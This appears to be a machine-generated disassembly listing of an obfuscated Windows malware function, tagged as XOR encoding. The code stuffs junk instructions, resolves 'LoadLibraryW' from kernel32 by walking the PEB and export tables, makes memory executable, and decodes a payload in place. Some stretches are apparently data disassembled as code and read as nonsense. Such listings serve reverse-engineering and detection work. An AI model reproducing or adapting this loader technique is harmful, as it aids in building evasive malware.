Function at 0x42f90c
Capabilities:
Encode data using xor

Disassembly:
add esp, 4
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x42e621
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x42e67b
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x42e549
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x42e549
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x42e665
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x42e66f
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x42e6c4
push ecx
jmp 0x42e68c
add ecx, 0xa085
call 0x42e6a2
add byte [esi + 0x3a], cl
cmp byte [ebp + 0x41], cl
dec esi
inc esi
dec edx
inc edi
dec eax
add esp, 4
pop ecx
push edi
xor edi, 0x22dc
pop edi
push ebx
sub ebx, 0x1747d
pop ebx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x42e72c
push esi
xor esi, 0x1244c
and esi, 0x1517c
or esi, 0xfad6
pop esi
push esi
push ebx
add esp, 4
add esi, 0xad88
sub esi, 0xb34e
sub esi, 0x71a9
add esi, 0x158bf
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x42e722
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x42e4ed
mov dword [ebp - 0x2a8], 0
push ebx
and ebx, 0x12033
and ebx, 0x12d28
sub ebx, 0x10199
pop ebx
push edx
push eax
add esp, 4
add edx, 0xc6ae
xor edx, 0xce93
add edx, 0x16519
sub edx, 0x1168a
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x42f063
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push ecx
add esp, 4
jmp 0x42e810
pop ecx
push eax
call 0x42e820
add byte [ecx + 0x39], al
inc edx
cmp dword [edx], edi
dec esp
inc edi
push eax
add esp, 4
and eax, 0x174c2
xor eax, 0x98df
and eax, 0x4d30
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push edx
add esp, 4
add edi, 0x3a82
pop edi
push edi
xor edi, 0x16698
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x7c
and ecx, 0x783f
and ecx, 0xa979
add ecx, 0x7a31
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x42e903
mov dword [ebp - 0x710], 0
jmp 0x42ebaa
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
jmp 0x42e91d
pop eax
push ebx
sub ebx, 0xb2e1
xor ebx, 0x7f9d
jmp 0x42e930
pop ebx
push ebx
add ebx, 0x17ccc
and ebx, 0x4697
pop ebx
push esi
sub esi, 0x1a62
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x42e95f
mov dword [ebp - 0x710], 0
jmp 0x42ebaa
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
call 0x42e97a
add byte [0x3447343a], bh
dec ebx
cmp al, 0x37
add esp, 4
sub ebx, 0x62ce
jmp 0x42e989
call 0x42e999
add byte [edi], bh
dec esp
cmp dword [ecx + eax*2 + 0x4f], eax
inc edi
inc ecx
dec ebp
add esp, 4
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
add esi, 0x1971
sub esi, 0xe3de
or esi, 0xc2a2
pop esi
push eax
xor eax, 0x9a12
call 0x42e9ef
add byte [ebp + 0x48], al
cmp al, byte [eax + 0x45]
xor eax, 0x4c4833c
add eax, 0x1578c
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push edi
add esp, 4
and edx, 0x607e
sub edx, 0x12767
or edx, 0x13025
sub edx, 0x6b89
pop edx
push eax
xor eax, 0xbe1
sub eax, 0x15b87
sub eax, 0x12138
add byte [eax + 0xf], bl
mov bh, 0x4d
invalid
test ecx, ecx
jne 0x42ea9f
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x42eaf9
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x42e9c7
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x42e9c7
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x42eae3
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x42eaed
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x42eb42
push esi
or esi, 0x345
pop esi
push esi
push eax
add esp, 4
and esi, 0xd09a
pop esi
push ebx
push eax
add esp, 4
sub ebx, 0xa726
sub ebx, 0xad82
and ebx, 0xc4ae
and ebx, 0x15b0e
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x42ebaa
push edi
push edx
add esp, 4
xor edi, 0xa4fe
sub edi, 0xdf2
add edi, 0x86e1
xor edi, 0x985a
pop edi
push ecx
add ecx, 0xf468
xor ecx, 0x6c2f
and ecx, 0x8e4c
mov es, word [eax]
add byte [ecx - 0x75], bl
test dword [eax], ebx
sti
invalid
dec dword [ebx + 0x188d8908]
sti
invalid
dec dword [ebx - 0x4e76b]
invalid
cmp edx, dword [ebp - 0xc58]
je 0x42eba0
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x42e96b
mov dword [ebp - 0x710], 0
push ebx
xor ebx, 0x16f74
add ebx, 0x12149
jmp 0x42ebbe
pop ebx
push ebx
or ebx, 0x18f
and ebx, 0x936f
jmp 0x42ebd5
xor ebx, 0x152bc
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x42ec26
push esi
jmp 0x42ebef
or esi, 0x8eae
jmp 0x42ebfb
xor esi, 0x153d8
pop esi
push edi
push edi
add esp, 4
call 0x42ec13
add byte [edi], dh
cmp al, 0x34
dec edx
inc ebp
cmp byte [ebx - 0x38a0fb3c], al
test dword [eax + 0xfffff5], ebp
add byte [eax], al
add cl, ch
sub byte [ebx], cl
add byte [eax], al
push edx
push eax
add esp, 4
add edx, 0x231a
add edx, 0x12a1a
and edx, 0x6322
pop edx
push esi
or esi, 0x7105
jmp 0x42ec4b
and esi, 0x8cc5
and esi, 0x128d
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x42ec97
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42ef88
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x42ecbf
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42ef88
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x42ecf1
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x42ef88
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x42ed16
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x42ef88
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x42ed70
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x42ef7c
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x42ede0
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42ee92
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x42ee92
push eax
push eax
add esp, 4
xor eax, 0x12d37
and eax, 0xcbed
sub eax, 0x14526
add eax, 0x14d2
pop eax
push eax
or eax, 0x15808
or eax, 0x8fb4
sub eax, 0xd773
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x42ee84
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x42ee8b
jmp 0x42edd1
jmp 0x42ee92
push eax
push eax
add esp, 4
add eax, 0x12a90
and eax, 0xf3d2
or eax, 0x13ffd
pop eax
push ecx
sub ecx, 0x80c3
sub ecx, 0x272d
sub ecx, 0x1544f
or ecx, 0xd4e3
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x42eef1
mov dword [ebp - 0xc5c], 0
jmp 0x42ef60
push edi
push ecx
add esp, 4
sub edi, 0x7bfa
sub edi, 0x161b5
sub edi, 0x2ea
xor edi, 0x173b7
pop edi
push edi
sub edi, 0xf833
add edi, 0x11048
add edi, 0xb6a
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x42ef56
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x42ef60
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x42ef77
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x42ef88
jmp 0x42ed61
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x42f063
push edi
push edi
add esp, 4
and edi, 0x16b1f
xor edi, 0x15485
pop edi
push edx
jmp 0x42efae
call 0x42efbd
add byte [ebx], bh
inc edi
aaa
cmp edx, dword [eax + 0x44]
cmp eax, 0xc483433e
add al, 0x81
loop 0x42f03b
xchg ecx, eax
add byte [eax], al
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
or esi, 0x148bf
jmp 0x42efe2
or esi, 0x8c24
xor esi, 0x9284
pop esi
push esi
push eax
add esp, 4
call 0x42f001
add byte [0x3c42443f], bh
xor dh, byte [edx]
add esp, 4
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x42f063
push ebx
push ebx
add esp, 4
add ebx, 0x157ff
sub ebx, 0x12a59
xor ebx, 0x149b2
pop ebx
push eax
xor eax, 0xb5c0
add eax, 0x2faf
add eax, 0x1221e
xor eax, 0x1138b
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x42f74e
push edi
sub edi, 0x1611b
or edi, 0x128
pop edi
push eax
xor eax, 0x344a
pop eax
push ebx
jmp 0x42f082
xor ebx, 0xa50e
or ebx, 0xc764
sub ebx, 0x160c
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
xor eax, 0xe34e
sub eax, 0x11425
add eax, 0x1d22
pop eax
push ebx
push ecx
add esp, 4
add ebx, 0xcefb
pop ebx
push edx
push edx
add esp, 4
or edx, 0x34e6
add edx, 0xece8
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x42f107
mov dword [ebp - 0x2a8], 0
jmp 0x42f3ae
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
or ebx, 0x16ba1
pop ebx
push eax
push esi
add esp, 4
or eax, 0xe824
add eax, 0x5598
call 0x42f141
add byte [ecx], bh
cmp edi, dword [ecx]
xor al, 0x38
inc edi
inc esp
inc eax
inc ebx
add esp, 4
sub eax, 0xeeac
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x42f163
mov dword [ebp - 0x2a8], 0
jmp 0x42f3ae
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
sub edx, 0x17f72
or edx, 0x12692
or edx, 0x15028
pop edx
push ecx
push eax
add esp, 4
or ecx, 0x1445a
and ecx, 0xf52e
add ecx, 0x14c5c
add ecx, 0xed18
pop ecx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
sub ebx, 0x11c83
and ebx, 0x17672
pop ebx
push edx
and edx, 0x7fff
call 0x42f1ed
add byte [ebp + 0x46], al
dec eax
cmp byte [edi], dh
aas
dec esi
add esp, 4
and edx, 0x1427c
and edx, 0x31e
pop edx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push ebx
add esp, 4
and ebx, 0xed70
pop ebx
push ecx
push eax
add esp, 4
call 0x42f274
add byte [eax], bh
dec esp
inc ebp
inc ecx
xor al, byte [eax + 0x4a]
aaa
add esp, 4
pop ecx
push eax
sub eax, 0x68ae
add eax, 0x1ba8
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x42f2a3
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x42f2fd
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x42f1cb
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x42f1cb
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x42f2e7
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x42f2f1
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x42f346
push edi
push ecx
add esp, 4
xor edi, 0x75fa
or edi, 0x3369
and edi, 0x4a55
pop edi
push esi
jmp 0x42f325
and esi, 0xc134
or esi, 0x17f9d
xor esi, 0x153c0
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x42f3ae
push eax
push edx
add esp, 4
jmp 0x42f354
and eax, 0xc961
add eax, 0xb166
pop eax
push ecx
jmp 0x42f36b
or ecx, 0xe5d9
and ecx, 0x6760
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x42f3a4
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x42f16f
mov dword [ebp - 0x2a8], 0
push edx
add edx, 0x37d7
xor edx, 0x698
pop edx
push ebx
push esi
add esp, 4
add ebx, 0x203d
jmp 0x42f3cd
call 0x42f3dc
add byte [edx + 0x41], cl
inc esi
inc ebp
inc ebp
cmp dword [esi + 0x39], ecx
dec esi
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push ebx
add esp, 4
call 0x42f401
add byte [eax], bh
inc esp
dec esi
push eax
dec ecx
cmp byte [ebx - 0x187efb3c], al
fld dword [edx]
add dword [eax], eax
and edi, 0x164b6
call 0x42f41d
add byte [ecx], bh
inc esi
xor eax, dword [edx + 0x3c]
xor eax, dword [ebx + eax*4 - 0x3c]
add al, 0x5f
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x42f451
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x42f742
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x42f479
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x42f742
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x42f4ab
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x42f742
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x42f4d0
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x42f742
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x42f52a
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x42f736
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x42f59a
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42f64c
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x42f64c
push eax
push edx
add esp, 4
xor eax, 0xa6e7
sub eax, 0x36e
add eax, 0x75d7
pop eax
push eax
and eax, 0xa1a0
xor eax, 0x3d30
pop eax
push edx
push esi
add esp, 4
or edx, 0x2956
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x42f63e
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x42f645
mov al, byte [0x3bfffff6]
ret 0x775
jmp 0x42f58b
jmp 0x42f64c
push edx
push ecx
add esp, 4
jmp 0x42f658
pop edx
push ecx
jmp 0x42f661
call 0x42f66e
add byte [ebp + 0x35], al
xor edi, dword [0x833c3e47]
les eax, [ecx + eax*4]
loope 0x42f636
adc dword [eax], eax
add byte [ecx + 0xeb12e1], al
add byte [ecx - 0x75], bl
test esp, edx
clc
invalid
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
push ebx
add esp, 4
add esi, 0x883c
pop esi
push edi
sub edi, 0x14fce
jmp 0x42f767
or edi, 0x2afc
pop edi
push edx
push esi
add esp, 4
add edx, 0x4515
sub edx, 0x71a4
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x42f7f3
push ecx
or ecx, 0xa428
xor ecx, 0xe4bc
pop ecx
push esi
push edi
add esp, 4
call 0x42f7cc
add byte [eax + 0x4b], dl
inc ebp
dec ebp
cmp dword [edi], esi
add esp, 4
jmp 0x42f7d8
sub esi, 0xfdbe
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x42f810
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x42f86c
push edx
push ecx
add esp, 4
sub edx, 0xdf19
xor edx, 0x1481c
sub edx, 0x12146
pop edx
push edx
push eax
add esp, 4
jmp 0x42f842
sub edx, 0x1583d
jmp 0x42f84f
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x42f801
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x42f8e4
push edx
push eax
add esp, 4
and edx, 0x8a17
add edx, 0x17d94
pop edx
push esi
push esi
add esp, 4
and esi, 0x160e8
xor esi, 0x1134e
pop esi
push ecx
and ecx, 0xffdd
or ecx, 0xcc59
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
add edx, 0x15c09
or edx, 0xb0a4
pop edx
push ebx
push edi
add esp, 4
jmp 0x42f8fd
call 0x42f90c
add byte [esi + 0x35], al
xor al, 0x3b
cmp al, 0x3a
xor eax, 0x4c48334
xor ebx, 0x17081
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
pop eax
xor al, 0xf4
jbe 0x42f92b
add dword [edx + 0x20324f8], eax
cmp al, 0x24
add eax, dword [edx]
add dword [edx + 0x202e6f0], eax
add dword [eax + 0x51], esp
pop eax
test ch, al
add eax, 0x8ce5e982
add dword [ecx], eax
sub cl, 0x73
mov esi, 0xc1820101
and ah, byte [ebx + 1]
add dword [edx + 0x1a515e9], eax
add dword [ecx - 0x45], ebx
insb byte es:[edi], dx
add dword [ecx], eax
add dword [edi - 0x76], esp
xchg esi, eax
mov ebp, 0xb90000ea
add word [ecx], ax
add dword [edi - 0x76], esp
xchg byte [edi - 0x45ffff16], bh
jae 0x42f972
add dword [ecx], eax
mov cl, byte [bp - 0x153f]
add byte [eax], al
mov ebx, 0x101016f
mov dl, byte [bp - 0x153d]
add byte [eax], al
mov ecx, 0x1010166
mov al, byte [bp - 0x153b]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x1539]
add byte [eax], al
mov ebx, 0x1010134
mov dl, byte [bp - 0x1537]
add byte [eax], al
mov ecx, 0x1010133
mov al, byte [bp - 0x1535]
add byte [eax], al
mov edx, 0x101012f
mov cl, byte [bp - 0x1533]
add byte [eax], al
mov ebx, 0x1010165
mov dl, byte [bp - 0x1531]
add byte [eax], al
mov ecx, 0x101016d
mov al, byte [bp - 0x152f]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x152d]
add byte [eax], al
xor al, 0xd3
mov dl, byte [bp - 0x152b]
add byte [eax], al
mov dword [esi + 0xf06d], 0x6e86c748
lock add byte [eax], al
mov word [esi + 0xf06f], 0xc775
xchg byte [eax - 0x10], dh
add byte [eax], al
dec esi
mov dword [esi + 0xf071], 0x7286c770
lock add byte [eax], al
mov dword gs:[esi + 0xf073], 0x7486c776
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf075], 0x7686c766
lock add byte [eax], al
dec ecx
mov dword [esi + 0xf077], 0x7886c762
lock add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf079], 0x7a86c765
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf07b], 0x7c86c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf07d], 0x84515301
lds eax, [0x10108e9]
add dword [ecx], eax
aaa
dec esi
xor eax, dword [eax + 0x46]
inc eax
test ch, al
add eax, 0x364e05ec
dec ebx
aaa
pop ebx
push edx
push edi
test ch, al
add eax, 0x363e04ec
cmp eax, 0x8457515a
lds eax, [0xfc63c982]
add dword [edi - 0x76], esp
mov es, ecx
ljmp 0x101
or cl, 0x63
cld
add dword [ecx], eax
pop ecx
mov dword [esi + 0xf099], 0x9a86c747
lock add byte [eax], al
push 0xffffffffffffffc7
xchg byte [ebx + 0x6f0000f0], bl
mov dword [esi + 0xf09c], 0x9d86c765
lock add byte [eax], al
push ebx
mov dword [esi + 0xf09e], 0x9f86c766
lock add byte [eax], al
je 0x42fa91
